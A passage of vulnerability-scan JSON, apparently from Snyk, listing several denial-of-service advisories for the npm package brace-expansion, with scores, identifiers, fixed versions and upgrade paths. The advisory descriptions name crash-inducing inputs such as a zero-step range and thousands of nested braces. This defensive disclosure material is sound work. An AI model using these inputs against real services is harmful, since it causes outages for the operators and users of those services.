"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by 